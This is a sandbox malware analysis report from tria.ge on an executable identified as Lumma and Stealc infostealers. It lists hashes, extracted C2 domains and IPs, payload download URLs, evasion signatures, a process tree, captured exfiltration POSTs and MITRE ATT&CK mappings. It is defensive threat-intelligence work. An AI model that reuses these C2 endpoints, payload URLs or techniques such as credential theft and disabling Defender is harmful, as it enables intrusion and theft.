Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

f9694cb15c...79.exe

windows7-x64

10

f9694cb15c...79.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16/12/2024, 08:53 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f9694cb15c258cf8125cf0c317c77479.exe

  • Size

    1.8MB

  • MD5

    f9694cb15c258cf8125cf0c317c77479

  • SHA1

    ad7ab004164e247a32fb8eb4187103a1eaf73657

  • SHA256

    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b

  • SHA512

    41504ae13f21e126508b91cdacc3d993790b7ce6001a0d58353860ad4eccb76858f553f4dd49d1960fae09a777160493932c0bb9acebd3bad3aae6e0dc2e2351

  • SSDEEP

    49152:QfiXfPvlOJ1kUi0pzJZ8AMSdBtxh5WBAB6lce:Q+MJ5Zc4vWGB6+e

Score
10/10
lummastealcstokdiscoveryevasionspywarestealertrojan

Malware Config

Extracted

Family

lumma

C2

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

lumma

C2

https://tacitglibbr.biz/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f9694cb15c258cf8125cf0c317c77479.exe
    "C:\Users\Admin\AppData\Local\Temp\f9694cb15c258cf8125cf0c317c77479.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Users\Admin\AppData\Local\Temp\Y45X8ZJMUXMMXEEMW7H.exe
      "C:\Users\Admin\AppData\Local\Temp\Y45X8ZJMUXMMXEEMW7H.exe"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Windows security modification
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Users\Admin\AppData\Local\Temp\08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe
      "C:\Users\Admin\AppData\Local\Temp\08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2708

Network

  • flag-us
    DNS
    tacitglibbr.biz
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    8.8.8.8:53
    Request
    tacitglibbr.biz
    IN A
    Response
    tacitglibbr.biz
    IN A
    172.67.164.37
    tacitglibbr.biz
    IN A
    104.21.50.161
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 8
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:10 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=jo6jug9nkv7vucvd3jekvfdk4j; expires=Fri, 11-Apr-2025 02:39:49 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b9rBNeFl6AkW691TkfZvwLkqZO9StAxukPhvb4WdY2%2BfQzjHv8wgQ8YaV0W2SGC3LuS0KuwNf0Spt0iyL%2B3nxxpNEj0%2Fu3hj7ScKkfl3jx3XzURNRLxZxr7L4EayXdthLJc%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d71061e7abd7e-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=38519&min_rtt=26306&rtt_var=17323&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=583&delivery_rate=123307&cwnd=253&unsent_bytes=0&cid=cb93a2d49037a326&ts=267&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 47
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:11 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=nr0k3c2piii691qjclqja2jl3l; expires=Fri, 11-Apr-2025 02:39:49 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cS9eedn9M6J5KqhxDMi9UCwYv65vI%2Bq0NdUULEvBaiWKnrtvE2%2BPXpgzXtwS7r7tDJWnbC5mrdnc4lTv1mhyCccXDPOQ4ZKhx8rejNIbn8%2BRy1%2Fi693hk1WEqQXG7nahbz8%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d71074822bd7e-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=37587&min_rtt=26306&rtt_var=14857&sent=9&recv=10&lost=0&retrans=0&sent_bytes=3953&recv_bytes=961&delivery_rate=123307&cwnd=255&unsent_bytes=0&cid=cb93a2d49037a326&ts=387&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=V8110J86FY08TQPX1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 12302
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:11 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=310jvamhfo2lil6j5k7iq9u5f0; expires=Fri, 11-Apr-2025 02:39:50 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TWdczoINCSi5xIS%2FAKE0dFpw%2B7Pei%2FCIlgsOB0UyWYonGAhSOimsA7ow%2BYglPV0mMsY4y8J9CqTjNgmblymaNKSu%2BNpMBOY0pGN9HKJTWLw9HgtJYk9rsCdnSrm5QGe1wcs%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d710899c0bd7e-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=29440&min_rtt=26021&rtt_var=4408&sent=33&recv=33&lost=0&retrans=0&sent_bytes=24161&recv_bytes=13611&delivery_rate=1027437&cwnd=257&unsent_bytes=0&cid=cb93a2d49037a326&ts=675&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=BV4J34IA
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 18510
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:11 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=90jsnmt8u6qs6hm14m0l8d45oj; expires=Fri, 11-Apr-2025 02:39:50 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsy3zDK0CJqKKJBAEhKvDFIqYPuyjL9MmYKkQk95tpIPaZ4yu78g%2FOht33CnFSxnX5Rqfsc10ff%2BAro%2BmrpnTI4foAwRloJ6KOOD3i%2BT2IzktFU6rPvlDWqYx913DTJZgUI%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d710aad7994ed-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=27565&min_rtt=26297&rtt_var=7730&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2856&recv_bytes=19148&delivery_rate=131820&cwnd=253&unsent_bytes=0&cid=0c4f30d5c7c01790&ts=315&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=9S6UKB076
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 1270
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:12 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=ve81cvftnlb2glab215trnc1re; expires=Fri, 11-Apr-2025 02:39:50 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vBLukK9z9A1UjcK3YpO2LIfhKhwl4i8O0B1sGJTMixjMG0pl2SYWpfxUuynVZxRb3ESpxyFaNexNQgmAb6fv7E%2FcMCFwhf9PN009AuFFveugHZgYLXT%2F6AUY2fj8Ut%2Fia7s%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d710d7fa8ef4a-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=27608&min_rtt=26391&rtt_var=7606&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1863&delivery_rate=134939&cwnd=253&unsent_bytes=0&cid=7910fcd3b9357cdf&ts=226&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=RLJ6K1V8Y0HJGHY4
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 1108
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:12 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=fkevkfgu3men15hmjb8tv29uea; expires=Fri, 11-Apr-2025 02:39:51 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=64hxAdVU9727yB2Njlbgg9artY%2BVlLCTgucOEPYo6ABRt5udUS7z%2FMmJvGTPH12K4%2Bp1Cu5Sxmeg0LDC27r8gNSiOKXYtwdA2d%2F9NGmFrWt1f%2Fj4SgttxuO586%2FZDsVzZkg%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d710fcd23f662-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=33874&min_rtt=25987&rtt_var=17034&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1703&delivery_rate=104436&cwnd=252&unsent_bytes=0&cid=ff0b0d8c570365e6&ts=222&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    172.67.164.37:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 82
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:12 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=fdobvondj9v3noh0clrdj0qcgg; expires=Fri, 11-Apr-2025 02:39:51 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4YKBEeZ%2BVmB32EiipNyM9u%2FBdpe5fkKaHWnscjfyKEmYauZKYUNVkxtgfZuFSD8%2B7sh%2BqGEnRRwR6sA%2FwEHGQYe1b%2FqkWGS0iXfyeh8oTNjhm08zbNPe6VX06Fwgm%2BZQogg%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f2d7111296cf658-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=29240&min_rtt=26425&rtt_var=7662&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2856&recv_bytes=663&delivery_rate=132722&cwnd=253&unsent_bytes=0&cid=a1f5835c4c1dc799&ts=172&x=0"
  • flag-ru
    GET
    http://185.215.113.16/off/def.exe
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    185.215.113.16:80
    Request
    GET /off/def.exe HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Host: 185.215.113.16
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Mon, 16 Dec 2024 08:53:12 GMT
    Content-Type: application/octet-stream
    Content-Length: 2791424
    Last-Modified: Mon, 16 Dec 2024 08:24:32 GMT
    Connection: keep-alive
    ETag: "675fe3c0-2a9800"
    Accept-Ranges: bytes
  • flag-ru
    GET
    http://185.215.113.16/steam/random.exe
    f9694cb15c258cf8125cf0c317c77479.exe
    Remote address:
    185.215.113.16:80
    Request
    GET /steam/random.exe HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Host: 185.215.113.16
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Mon, 16 Dec 2024 08:53:13 GMT
    Content-Type: application/octet-stream
    Content-Length: 1802240
    Last-Modified: Mon, 16 Dec 2024 08:26:03 GMT
    Connection: keep-alive
    ETag: "675fe41b-1b8000"
    Accept-Ranges: bytes
  • flag-ru
    GET
    http://185.215.113.206/
    08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:16 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/c4becf79229cb002.php
    08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /c4becf79229cb002.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE
    Host: 185.215.113.206
    Content-Length: 211
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2024 08:53:16 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 8
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • 172.67.164.37:443
    https://tacitglibbr.biz/api
    tls, http
    f9694cb15c258cf8125cf0c317c77479.exe
    15.2kB
     26.8kB
     36
    37

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 172.67.164.37:443
    https://tacitglibbr.biz/api
    tls, http
    f9694cb15c258cf8125cf0c317c77479.exe
    20.1kB
     4.5kB
     23
    14

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 172.67.164.37:443
    https://tacitglibbr.biz/api
    tls, http
    f9694cb15c258cf8125cf0c317c77479.exe
    2.3kB
     4.4kB
     10
    10

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 172.67.164.37:443
    https://tacitglibbr.biz/api
    tls, http
    f9694cb15c258cf8125cf0c317c77479.exe
    2.1kB
     4.4kB
     10
    10

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 172.67.164.37:443
    https://tacitglibbr.biz/api
    tls, http
    f9694cb15c258cf8125cf0c317c77479.exe
    1.1kB
     4.5kB
     9
    9

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 185.215.113.16:80
    http://185.215.113.16/steam/random.exe
    http
    f9694cb15c258cf8125cf0c317c77479.exe
    133.5kB
     4.7MB
     2462
    3391

    HTTP Request

    GET http://185.215.113.16/off/def.exe

    HTTP Response

    200

    HTTP Request

    GET http://185.215.113.16/steam/random.exe

    HTTP Response

    200
  • 185.215.113.206:80
    http://185.215.113.206/c4becf79229cb002.php
    http
    08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe
    727 B
     625 B
     5
    5

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/c4becf79229cb002.php

    HTTP Response

    200
  • 8.8.8.8:53
    tacitglibbr.biz
    dns
    f9694cb15c258cf8125cf0c317c77479.exe
    61 B
     93 B
     1
    1

    DNS Request

    tacitglibbr.biz

    DNS Response

    172.67.164.37
    104.21.50.161

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Defense Evasion

Impair Defenses

2
T1562

Disable or Modify Tools

2
T1562.001

Modify Registry

2
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Credentials from Password Stores

1
T1555

Credentials from Web Browsers

1
T1555.003

Unsecured Credentials

3
T1552

Credentials In Files

3
T1552.001

Discovery

Browser Information Discovery

1
T1217

Query Registry

4
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Data from Local System

3
T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Local\Temp\08C4W427GMMLFU3HLN4KQ5504Q5ER5A.exe
    Filesize

    1.7MB

    MD5

    3aacd7d2751e6e0f434b9809f58b92bc

    SHA1

    a398a3b7487129b2f2bd94136da6ca36e91d7505

    SHA256

    2abc9291898edaa673b4754a60c0154084112532a7f76c36fee1e97cec5685ab

    SHA512

    56ae68afbd59926feb21f6ff2662e3c26f461c9e7a52b26add2d8bdeda7b381ce6fde1ef787310aab666ab84a27e884810efb56ac65968c1d71fceb963516cf3

    Download Submit

  • \Users\Admin\AppData\Local\Temp\Y45X8ZJMUXMMXEEMW7H.exe
    Filesize

    2.7MB

    MD5

    f0a01acbb7c142ecdb64c66fe7e5da72

    SHA1

    bd76e25d19deca688e85a0c2afefebfbd2ed5708

    SHA256

    91ea2a284a8ee25b4ad74669df7d2f5362f8e88b45c5ad0471b8fff15b1cea7f

    SHA512

    fad5447153b4c9e95f787861dc41280b6192a71d7612772a5f4d579d7629cd2294e08b6274bba1a0c7184b1db8221a949264cd3353ee0ef40d2e7d227deafe4b

    Download Submit

  • memory/2280-15-0x00000000060E0000-0x0000000006394000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2280-4-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2280-5-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2280-2-0x0000000000AF1000-0x0000000000B16000-memory.dmp

    Filesize

    148KB

    Download

  • memory/2280-3-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2280-0-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2280-14-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2280-13-0x00000000060E0000-0x0000000006394000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2280-1-0x0000000077720000-0x0000000077722000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2280-24-0x0000000000AF0000-0x0000000000F93000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/2708-27-0x0000000000030000-0x00000000006BE000-memory.dmp

    Filesize

    6.6MB

    Download

  • memory/2708-28-0x0000000000030000-0x00000000006BE000-memory.dmp

    Filesize

    6.6MB

    Download

  • memory/2872-17-0x0000000000E60000-0x0000000001114000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2872-25-0x0000000000E60000-0x0000000001114000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2872-26-0x0000000000E60000-0x0000000001114000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2872-29-0x0000000000E60000-0x0000000001114000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2872-32-0x0000000000E60000-0x0000000001114000-memory.dmp

    Filesize

    2.7MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.